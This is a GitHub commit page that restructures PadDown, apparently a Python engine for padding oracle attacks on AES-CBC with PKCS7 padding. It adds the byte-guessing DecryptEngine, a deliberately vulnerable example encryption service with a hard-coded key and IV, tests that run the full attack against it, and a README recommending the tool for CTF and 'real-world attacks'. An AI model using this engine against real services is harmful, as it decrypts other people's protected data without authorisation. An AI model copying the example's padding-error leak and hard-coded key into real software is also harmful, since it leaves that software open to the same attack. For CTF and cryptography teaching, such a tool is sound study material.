Skip to content

Commit

Permalink
Restructure project for Python3 (#22)
Browse files Browse the repository at this point in the history
* Add unittest

* Restructuring

Use abstract base class for PadChecker

Add description for PadChecker

Reorganizing

* Add logger

* Add python help tools

* Clarify vulnerable encryption service in examples

* Fix tests

* Fix typo in github action

* Remove flake8 from github actions

* Add pytest to dev requirements

* Add structlog to base requirements

* Update the readme
  • Loading branch information
theilgaard committed Feb 29, 2020
1 parent d6588ff commit 22cf701
Show file tree
Hide file tree
Showing 17 changed files with 310 additions and 63 deletions.
25 changes: 25 additions & 0 deletions .editorconfig
Original file line number Diff line number Diff line change
@@ -0,0 +1,25 @@
# http:https://editorconfig.org

root = true

[*]
charset = utf-8
end_of_line = lf
insert_final_newline = true
trim_trailing_whitespace = true
indent_style = space

[*.{py,rst,ini}]
indent_size = 4

[*.py]
max_line_length=119
multi_line_output=3
default_section=THIRDPARTY

[*.md]
trim_trailing_whitespace = false

[Makefile]
indent_style = tab

5 changes: 1 addition & 4 deletions .github/workflows/pythonapp.yml
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
name: Python application
name: PadDown Unittests

on: [push]

Expand All @@ -19,9 +19,6 @@ jobs:
pip install -r requirements/dev.txt
- name: Lint
run: |
pip install flake8 black isort
# stop the build if there are Python syntax errors or undefined names
flake8 . --count --exit-zero --ma-complexity=10 -show-source --statistics
black --check --diff .
isort -rc -cs -l 119 --check-only --diff .
- name: Test with pytest
Expand Down
30 changes: 22 additions & 8 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -1,5 +1,12 @@
# Visual Studio Code
.vscode/

# Environments
.env
.venv
env/
venv/
ENV/

# Byte-compiled / optimized / DLL files
__pycache__/
Expand Down Expand Up @@ -37,11 +44,18 @@ MANIFEST
pip-log.txt
pip-delete-this-directory.txt

# Environments
.env
.venv
env/
venv/
ENV/
env.bak/
venv.bak/
# Unit test / coverage reports
htmlcov/
.tox/
.nox/
.coverage
.coverage.*
.cache
nosetests.xml
coverage.xml
*.cover
*.py,cover
.hypothesis/
.pytest_cache/
cover/

3 changes: 3 additions & 0 deletions .isort.cfg
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
[settings]
line_length=119

15 changes: 15 additions & 0 deletions .pre-commit-config.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,15 @@
repos:
- repo: https://github.com/ambv/black
rev: stable
hooks:
- id: black
language_version: python3.7
- repo: https://github.com/pre-commit/pre-commit-hooks
rev: v1.2.3
hooks:
- id: flake8
- repo: https://github.com/pre-commit/mirrors-isort
rev: v4.3.4
hooks:
- id: isort
language_version: python3.7
48 changes: 0 additions & 48 deletions DecryptEngine.py

This file was deleted.

Empty file added PadDown/__init__.py
Empty file.
87 changes: 87 additions & 0 deletions PadDown/decrypt_engine.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,87 @@
from abc import abstractmethod

import structlog

from .exceptions import PadDownException

logger = structlog.get_logger(__name__)


class PadChecker:
"""
Create a subclass of PadChecker to pass to DecryptEngine
"""

@abstractmethod
def has_valid_padding(self, ciphertext):
"""
Override this method to check if the padding of the ciphertext is valid
:param bytes ciphertext: The ciphertext to check
:rtype: True for valid padding, False otherwise.
"""
raise PadDownException("Not implemented")


class DecryptEngine:
def __init__(self, pad_checker: PadChecker, blocksize: int = 16):
if not isinstance(pad_checker, PadChecker):
raise PadDownException(f"pad_checker not an instance of {PadChecker}")
self.pad_checker = pad_checker
self.blocksize = blocksize

def decrypt_at_index(self, ciphertext: bytearray, index: int):
if not isinstance(ciphertext, bytearray):
raise PadDownException(f"ciphertext not an instance of {bytearray}")

# Replace ciphertext at index with a guessed byte
ciphertext_temp = ciphertext
for guess in range(256):
ciphertext_temp[index] = guess
if self.pad_checker.has_valid_padding(ciphertext_temp):
return guess

raise RuntimeError("[!] Found no valid padding, is PadChecker implemented correctly?")

def decrypt_block(self, block):
if not isinstance(block, bytearray):
raise PadDownException(f"block not an instance of {bytearray}")

c_previous = bytearray(b"\x00" * self.blocksize)
intermediate = bytearray(b"\x00" * self.blocksize)
for i in range(self.blocksize):
for j in range(i):
c_previous[(self.blocksize - 1) - j] = intermediate[(self.blocksize - 1) - j] ^ (i + 1)

c_prime = self.decrypt_at_index(c_previous + block, (self.blocksize - 1) - i)
intermediate[(self.blocksize - 1) - i] = c_prime ^ (i + 1)
print("intermediate: {}".format([hex(x)[2:] for x in intermediate]))
return intermediate

def get_intermediate(self, ciphertext) -> bytes:
key = b""
blocks = len(ciphertext) // self.blocksize

# Iterate blocks last to first
for i in range(blocks):
block_start = len(ciphertext) - (i + 1) * self.blocksize
block_end = len(ciphertext) - (i * self.blocksize)
key = self.decrypt_block(ciphertext[block_start:block_end]) + key
return key

def decrypt(self, ciphertext) -> bytes:
if not isinstance(ciphertext, bytes):
raise Exception(f"Ciphertext {type(ciphertext)} not an instance of {bytes}")

logger.debug(f"Ciphertext length: {len(ciphertext)}")
logger.debug(f"Blocks to decrypt: {len(ciphertext) // self.blocksize}")

# Convert ciphertext to mutable bytearray
ciphertext = bytearray(ciphertext)

key = self.get_intermediate(ciphertext)
plaintext = bytearray()
for i in range(len(ciphertext) - self.blocksize):
b = ciphertext[i] ^ key[i + self.blocksize]
plaintext += (b).to_bytes(1, byteorder="big")
return plaintext
44 changes: 44 additions & 0 deletions PadDown/examples/vulnerable_encryption_service.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,44 @@
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad


class InvalidPadding(BaseException):
pass


class VulnerableEncryptionService:
"""
Used to simulate a vulnerable black box encryption service.
The service is vulnerable to Padding oracle attack
"""

key = b"0123456789ABCDEF" # Secret key, only known to service
iv = b"FEDCBA9876543210" # Public IV, usually prepended to ciphertext

def encrypt(self, plaintext):
"""
Encrypts plaintext in 16 block AES in with CBC mode
:param bytes plaintext: Plaintext to be encrypted
:rtype bytes: Returns ciphertext
"""
cipher = AES.new(self.key, AES.MODE_CBC, IV=self.iv)
return cipher.encrypt(pad(plaintext, 16))

def decrypt(self, ciphertext):
"""
This functions decrypts, but does not return the plaintext.
However, an error is returned if the PKCS7 padding is invalid. This allows for Padding Oracle Attack.
Thus, it can used to decrypt arbitrary ciphertexts
:param bytes ciphertext: 16 block ciphertext
:rtype str: Returns 'Decryption successful!' on successful decryption and unpadding
:raises InvalidPadding: If the PKCS7 padding is invalid.
"""
cipher = AES.new(self.key, AES.MODE_CBC, IV=self.iv)
try:
unpad(cipher.decrypt(ciphertext), 16)
except ValueError:
raise InvalidPadding("Invalid PKCS7 Padding")
return "Decryption successful!"
2 changes: 2 additions & 0 deletions PadDown/exceptions.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
class PadDownException(Exception):
pass
Empty file added PadDown/tests/__init__.py
Empty file.
49 changes: 49 additions & 0 deletions PadDown/tests/test_decrypt_engine.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,49 @@
from Crypto.Util.Padding import unpad
from PadDown.decrypt_engine import DecryptEngine, PadChecker
from PadDown.examples.vulnerable_encryption_service import InvalidPadding, VulnerableEncryptionService

VEC = VulnerableEncryptionService()


class TestVulnerableEncryptionService:
def test_encryption_and_decryption(self):
plaintext_misaligned = b"Misaligned plaintext!"
ciphertext = VEC.encrypt(plaintext_misaligned)
answer = VEC.decrypt(ciphertext)
assert answer == "Decryption successful!"


class TestDecryptEngine:
def test_decrypt_at_index(self):
class TestPadChecker(PadChecker):
def has_valid_padding(self, ciphertext):
return ciphertext == b"\x05"

decrypt_engine = DecryptEngine(TestPadChecker())
decrypt_engine.decrypt_at_index(bytearray(b"\x00"), 0)

def test_decrypt_block(self):
class TestPadChecker(PadChecker):
def has_valid_padding(self, ciphertext):
return ciphertext == b"\x05"

def test_complete_run(self):
plaintext_original = bytearray("This is a padded plaintext", encoding="ascii")

# Assert that the plaintext is padded
assert len(plaintext_original) % 16 != 0

ciphertext = VEC.encrypt(plaintext_original)

class MyPadChecker(PadChecker):
def has_valid_padding(self, ciphertext):
try:
VEC.decrypt(ciphertext)
return True
except InvalidPadding:
return False
return False

decrypt_engine = DecryptEngine(MyPadChecker())
plaintext_decrypted = decrypt_engine.decrypt(VEC.iv + ciphertext)
assert plaintext_original == unpad(plaintext_decrypted, 16)
27 changes: 24 additions & 3 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,8 +1,29 @@
# PadDown
CBC PKCS7 Padding Oracle attack engine
PadDown is an AES CBC PKCS7 [Padding Oracle Attack](https://en.wikipedia.org/wiki/Padding_oracle_attack) engine. It simplifies performing [Padding Oracle Attack](https://en.wikipedia.org/wiki/Padding_oracle_attack) on a vulnerable encryption service. This is useful for both CTF and real-world attacks, where you are in possession of a ciphertext, and have a so called Padding Oracle available.

## Usage
* Using PadDown is as easy as implementing `PadChecker` class containing the ``hasValidPadding(...)`` method retuning a `bool`. As argument it takes ciphertext to test against the Padding Oracle. Have your implementation return ``True`` if you receive no padding error and ``False`` otherwise.

Implement a class containing the ``hasValidPadding(...)`` method. As argument it takes the binary data that is the test ciphertext. Return ``True`` if the padding is valid and ``False`` otherwise.
* Now you are ready to instatiate the ``DecryptEngine(...)`` class, and start decrypting your ciphertext.

Input to the ``DecryptEngine.decrypt`` must be the raw bytes.
Examples can be found in the `PadDown/examples` directory.

## Development


The project can be setup with
```bash
python3 -m venv .venv
.venv/bin/activate
pip install -r requirements/dev.txt
```

### Pull requests
We are open to pull requests.

We use [black](https://github.com/psf/black), [flake8](https://flake8.pycqa.org/en/latest/) and [isort](https://github.com/timothycrosley/isort) for linting, and implement unit testing using [pytest](https://docs.pytest.org/en/latest/). A [pre-commit](https://pre-commit.com/) configuration file has been added, for checking against these linters before comitting.

Please squash all commits before submitting a pull request.

## Testing
To run the unittests, simply run `pytest`.
15 changes: 15 additions & 0 deletions pyproject.toml
Original file line number Diff line number Diff line change
@@ -0,0 +1,15 @@
[tool.black]
line-length = 119
include = '\.pyi?$'
exclude = '''
/(
\.git
| \.tox
| venv
| _build
| buck-out
| build
| dist
| migrations
)/
'''
2 changes: 2 additions & 0 deletions requirements/base.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
pycryptodome==3.9.0
structlog==20.1.0
6 changes: 6 additions & 0 deletions requirements/dev.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
-r base.txt
black
flake8
isort
pytest
pre-commit
Loading

0 comments on commit 22cf701

Please sign in to comment.